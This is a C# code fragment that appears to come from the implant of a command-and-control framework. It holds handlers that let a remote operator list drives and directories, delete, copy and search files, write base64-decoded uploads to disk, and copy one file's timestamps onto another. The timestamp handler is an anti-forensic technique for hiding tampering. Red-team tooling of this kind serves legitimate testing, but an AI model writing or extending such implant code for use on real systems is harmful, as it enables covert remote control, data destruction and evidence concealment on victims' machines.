private void RemoveFile(byte[] data) { try { var path = Encoding.UTF8.GetString(data); Filesystem.RemoveFile(path); } catch (Exception e) { Agent.SendError(e.Message); } }
private void PrintWorkingDirectory(byte[] data) { try { var result = Filesystem.PrintWorkingDirectory(); Agent.SendOutput(result); } catch (Exception e) { Agent.SendError(e.Message); } }
private void RemoveDirectory(byte[] data) { try { var directory = Encoding.UTF8.GetString(data); Filesystem.RemoveDirectory(directory); } catch (Exception e) { Agent.SendError(e.Message); } }
private void GetDrives(byte[] data) { try { var result = Filesystem.GetDrives(); Agent.SendOutput(result); } catch (Exception e) { Agent.SendError(e.Message); } }
private void ListDirectory(byte[] data) { try { var directory = Encoding.UTF8.GetString(data); var result = Filesystem.ListDirectory(directory); Agent.SendOutput(result); } catch (Exception e) { Agent.SendError(e.Message); } }
private void CreateDirectory(byte[] data) { try { var path = Encoding.UTF8.GetString(data); var result = Filesystem.CreateDirectory(path); Agent.SendOutput(result); } catch (Exception e) { Agent.SendError(e.Message); } }
private void CopyFile(byte[] data) { try { var split = Encoding.UTF8.GetString(data).Split(' '); var source = split[0]; var dest = split[1]; Filesystem.CopyFile(source, dest); } catch (Exception e) { Agent.SendError(e.Message); } }
private void UploadFile(byte[] data) { try { var split = Encoding.UTF8.GetString(data).Split(' '); var source = Convert.FromBase64String(split[0]); var dest = split[1]; Filesystem.UploadFile(dest, source); } catch (Exception e) { Agent.SendError(e.Message); } }
private void ChangeFileTimestamp(byte[] data) { try { var split = Encoding.UTF8.GetString(data).Split(' '); var source = split[0]; var target = split[1]; Filesystem.ChangeFileTimestamp(source, target); } catch (Exception e) { Agent.SendError(e.Message); } }
private void SearchForFile(byte[] data) { try { var split = Encoding.UTF8.GetString(data).Split(' '); var path = split[0]; var pattern = split[1]; var result = Filesystem.SearchForFile(path, pattern); Agent.SendOutput(result); } catch (Exception e) { Agent.SendError(e.Message); } }